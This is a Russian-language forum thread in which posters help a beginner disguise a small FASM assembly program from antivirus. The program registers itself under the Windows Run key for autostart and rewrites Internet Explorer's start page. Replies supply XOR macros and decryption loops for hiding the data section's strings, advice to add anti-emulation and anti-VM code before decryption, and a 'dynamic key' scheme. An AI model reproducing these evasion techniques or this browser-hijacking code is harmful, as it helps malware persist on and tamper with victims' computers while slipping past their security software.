Вот начал писать программу но она палица моим антивирусом ,авирь палит строку szAutoRunPath db 'Software\Microsoft\Windows\CurrentVersion\Run',0 , научити криптовать данные в секции, видел примеры в Pinch \ Xinch но непонял как они работают Папробывал закриптовать так но компилятор пишет ошибку: Code (Text): format PE64 GUI 5.0 entry Main include 'win64a.inc' macro crypt start,length,key { local x,y,key_size,key_pos virtual at 0 db key key_size = $ end virtual key_pos = 0 repeat length load x from start+%-1 virtual at 0 db key load y from key_pos end virtual x = x xor y store x at start+%-1 key_pos = key_pos + 1 if key_pos >= key_size key_pos = 0 end if end repeat } section '.data' data readable writeable szAutoRunPath db 'Software\Microsoft\Windows\CurrentVersion\Run',0 szAutoRunName db 'SetStartPage',0 RegValueName_1 db 'Software\Microsoft\Internet Explorer\Main',0 RegValueName_2 db 'http://google.ru',0 RegValueName_3 db 'Start Page',0 crypt 0,$,'qwerty' hkHandle dq ? hKey dq ? lpBuff1 db 260 dup (?) section '.code' code readable executable proc Main invoke GetModuleFileNameA,NULL,lpBuff1,MAX_PATH invoke RegCreateKeyA,HKEY_CURRENT_USER,szAutoRunPath,hkHandle invoke lstrlenA,lpBuff1 invoke RegSetValueExA,[hkHandle],szAutoRunName,0,REG_SZ,lpBuff1,rax invoke RegCloseKey,[hkHandle] invoke RegOpenKeyExA,HKEY_CURRENT_USER,RegValueName_1,0,KEY_WRITE,hKey invoke lstrlenA,RegValueName_2 invoke RegSetValueExA,[hKey],RegValueName_3,0,REG_SZ,RegValueName_2,rax invoke RegCloseKey,[hKey] invoke ExitProcess,rax endp section '.idata' import data readable library kernel,'KERNEL32.DLL',\ advapi,'ADVAPI32.DLL' import advapi,\ RegOpenKeyExA,'RegOpenKeyExA',\ RegSetValueExA,'RegSetValueExA',\ RegCloseKey,'RegCloseKey',\ RegCreateKeyA,'RegCreateKeyA' import kernel,\ ExitProcess,'ExitProcess',\ lstrlenA,'lstrlenA',\ GetModuleFileNameA,'GetModuleFileNameA'
fragment imho нужно данные сразу закриптованными их в секции помещать. А потом после того как пройдены все антиэмули и расшифровщики ее распаковать и пользовать.
Именно. Какой толк в том, что ты зашифруешь строку во время выполнения программы? Она ведь при эмуляции будет в таком же виде. Самое легкое обычный по байтный xor. Заранее закриптуй строку определенным ключом, и размести в секции данных. В коде программы сделай опять таки xor этой строки с этим же ключом, и все, можно работать с ней.
fragment Если у тебя макрос рабочий, то попробуй примерно так Code (Text): format PE64 GUI 5.0 entry Main include 'win64a.inc' macro crypt start,length,key { local x,y,key_size,key_pos virtual at 0 db key key_size = $ end virtual key_pos = 0 repeat length load x from start+%-1 virtual at 0 db key load y from key_pos end virtual x = x xor y store x at start+%-1 key_pos = key_pos + 1 if key_pos >= key_size key_pos = 0 end if end repeat } section '.data' data readable writeable start_data db 0 szAutoRunPath db 'Software\Microsoft\Windows\CurrentVersion\Run',0 szAutoRunName db 'SetStartPage',0 RegValueName_1 db 'Software\Microsoft\Internet Explorer\Main',0 RegValueName_2 db 'http://google.ru',0 RegValueName_3 db 'Start Page',0 size_data = $-start_data hkHandle dq ? hKey dq ? lpBuff1 db 260 dup (?) section '.code' code readable executable proc Main crypt start_data,size_data,'qwerty' lea edi, [start_data] int3 invoke ExitProcess,rax endp section '.idata' import data readable library kernel,'KERNEL32.DLL' import kernel,ExitProcess,'ExitProcess' На прерывании, посмотри в Olly что у тебя наксорилось и скопируй его в отдельный файл. Потом утилью bintodb.exe в пакете masm-а получишь ксоренные строки, которые и поместишь в секцию данных (которая должна быть RWE) своего исходника вместо явных "szAutoRunPath db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ... ". В код Main() напихай антиэмульных кусков Потом запускай crypt start_data,size_data,'qwerty' Данные распакуются и дальше спокойно шаманишь с RegCreateKeyA() Тоесть код твоей проги будет примерно таким Code (Text): format PE64 GUI 5.0 entry Main include 'win64a.inc' macro crypt start,length,key { local x,y,key_size,key_pos virtual at 0 db key key_size = $ end virtual key_pos = 0 repeat length load x from start+%-1 virtual at 0 db key load y from key_pos end virtual x = x xor y store x at start+%-1 key_pos = key_pos + 1 if key_pos >= key_size key_pos = 0 end if end repeat } section '.data' data readable writeable ; данные в исходнике будет примерно так выглядеть ; или в fasm-е можно вообще файл подключить ; по include который ты из Olly вытянул. start_data db 64,0,232,207,2,0,0,232,178,2,0,0,184,255,255,255 db 255,90,89,91,195,11,192,117,41,104,205,48,64,0,255,53 db 118,52,64,0,232,107,2,0,0,255,53,166,50,64,0,232 db 162,2,0,0,232,133,2,0,0,184,255,255,255,255,90,89 db 91,195,104,58,51,64,0,255,53,166,50,64,0,232,213,1 db 0,0,11,192,117,41,104,216,48,64,0,255,53,118,52,64 ...................... size_data = $-start_data hkHandle dq ? hKey dq ? lpBuff1 db 260 dup (?) section '.code' code readable executable proc Main [Антиэмуль №1] [АнтиWM №1] ... [Анти ... №n] ; Расшифровка crypt start_data,size_data,'qwerty' invoke GetModuleFileNameA,NULL,lpBuff1,MAX_PATH invoke RegCreateKeyA,HKEY_CURRENT_USER,szAutoRunPath,hkHandle ;... и погнал дальше invoke ExitProcess,rax endp section '.idata' import data readable library kernel,'KERNEL32.DLL' import kernel,ExitProcess,'ExitProcess'
Если бы код компилировался, ТС получил бы .exe с расшифрованными строками. Но он не компилируется, потому что load/store работают в пределах одной секции. На самом деле, достаточно было изменить crypt 0,$,'qwerty' на crypt $$,$-$$,'qwerty' в первом посте, ну и, конечно, написать в Main код, который это расшифрует (на ассемблере, а не на макроязыке).
Вот ссылка на оригинал, http://board.flatassembler.net/topic.php?t=2126 А как будет выглядеть decrypt data ? Code (Text): macro crypt start,length,key { local x,y,key_size,key_pos virtual at 0 db key key_size = $ end virtual key_pos = 0 repeat length load x from start+%-1 virtual at 0 db key load y from key_pos end virtual x = x xor y store x at start+%-1 key_pos = key_pos + 1 if key_pos >= key_size key_pos = 0 end if end repeat } section '.data' data readable writeable szAutoRunPath db 'Software\Microsoft\Windows\CurrentVersion\Run',0 crypt $$,$-$$,'8' section '.code' code readable executable proc Main mov edi,start_code ?? mov ecx,end_code-start_code ?? @@: xor byte[edi],8 inc edi dec ecx test ecx,ecx jnz @b
fragment Ну так на той ссылке готовый код есть с этим макро. Вообще fsd прав хоть и грубоват, конечно. XOR - раскручивается всеми вдоль и поперек. Продумать другой алгоритм шифрования неплохо бы, похитрее.
Мне бы с XOR разобраца в начале , это моя первая попытка что либо закриптовать, прошу вас помочь мне ! По той сылке они криптуют .CODE а мне надо раскриптовать .DATA
ксоркриптавание с динамичиским ключом Code (Text): for(i = 0; i < DATA_size; i++) { dynamic_key[i] = plaintext[i]; ciphertext[i] = dynamic_key[i]^plaintext[i]; } RtlCompressBuffer(ciphertext); ??? PROFIT!!!() ксорраскриптавание с динамичиским ключом Code (Text): RtlDecompressBuffer(ciphertext); for(i = 0; i < DATA_size; i++) { plaintext[i] = dynamic_key[i]^ciphertext[i]; } ??? PROFIT!!!() не забывайте сохранять dynamic_key, пригодится
Криптует но раскриптовать непалучается , помагите Code (Text): format PE64 GUI 5.0 entry Main include 'win64a.inc' macro crypt start,length,key { local x,y,key_size,key_pos virtual at 0 db key key_size = $ end virtual key_pos = 0 repeat length load x from start+%-1 virtual at 0 db key load y from key_pos end virtual x = x xor y store x at start+%-1 key_pos = key_pos + 1 if key_pos >= key_size key_pos = 0 end if end repeat } section '.data' data readable writeable start_data: MessBoxA db 'Start Page Set',0 RegValueName_1 db 'Software\Microsoft\Internet Explorer\Main',0 RegValueName_2 db 'http://google.com',0 RegValueName_3 db 'Start Page',0 end_data: crypt start_data,end_data-start_data,'8' hKey dq ? ErrorCode db 260 dup(?) Fmt db '%x',0 section '.code' code readable executable proc Main mov rdi,start_data mov rcx,end_data-start_data @@: xor byte[rdi],'8' inc rdi dec rcx test rcx,rcx jnz @b invoke RegOpenKeyExA,80000001h,RegValueName_1,0,20006h,hKey invoke lstrlenA,RegValueName_2 invoke RegSetValueExA,[hKey],RegValueName_3,0,1,RegValueName_2,rax call LastError invoke RegCloseKey,[hKey] invoke MessageBoxA,0,MessBoxA,0,MB_ICONWARNING invoke ExitProcess,rax endp proc LastError invoke GetLastError invoke wsprintfA,ErrorCode,Fmt,0 invoke MessageBoxA,0,ErrorCode,0,MB_ICONERROR ret endp section '.idata' import data readable library kernel,'KERNEL32.DLL',\ user,'USER32.DLL',\ advapi,'ADVAPI32.DLL' import advapi,\ RegOpenKeyExA,'RegOpenKeyExA',\ RegSetValueExA,'RegSetValueExA',\ RegCloseKey,'RegCloseKey' import kernel,\ ExitProcess,'ExitProcess',\ GetLastError,'GetLastError',\ lstrlenA,'lstrlenA' import user,\ MessageBoxA,'MessageBoxA',\ wsprintfA,'wsprintfA' Все работает, секция ксорица но авирь все равно палит программу, мне сказали что динамический ключ это исправит как это реализовать?
fragment Ну вот, только макро взято у комрада http://comrade.ownz.com/docs/fasm.html Code (Text): format PE GUI 4.0 entry start include 'c:\fasmw\include\win32a.inc' section '.data' data readable writeable key = $ff ;<-key for encrypt section '.code' code readable writeable executable start: int3 lea edi, [start_data] decode: mov edx,start_data mov ecx,size_data .xloop: add ecx,0 je .ex xor byte [edx],key inc edx dec ecx jmp .xloop .ex: ;invoke RegOpenKeyExA,80000001h,RegValueName_1,0,20006h,hKey ;invoke lstrlenA,RegValueName_2 ;invoke RegSetValueExA,[hKey],RegValueName_3,0,1,RegValueName_2,eax ;call LastError ;invoke RegCloseKey,[hKey] ;invoke MessageBoxA,0,MessBoxA,0,MB_ICONWARNING invoke ExitProcess,0 start_data: MessBoxA db 'Start Page Set',0 RegValueName_1 db 'Software\Microsoft\Internet Explorer\Main',0 RegValueName_2 db 'http://google.com',0 RegValueName_3 db 'Start Page',0 size_data=$-start_data macro encrypt dstart,dsize { local ..char,..shift repeat dsize load ..char from dstart+%-1 ..char = ..char xor key store ..char at dstart+%-1 end repeat } encrypt start_data,size_data section '.idata' import data readable library kernel,'KERNEL32.DLL' import kernel,\ ExitProcess,'ExitProcess' Да у меня WinXP 32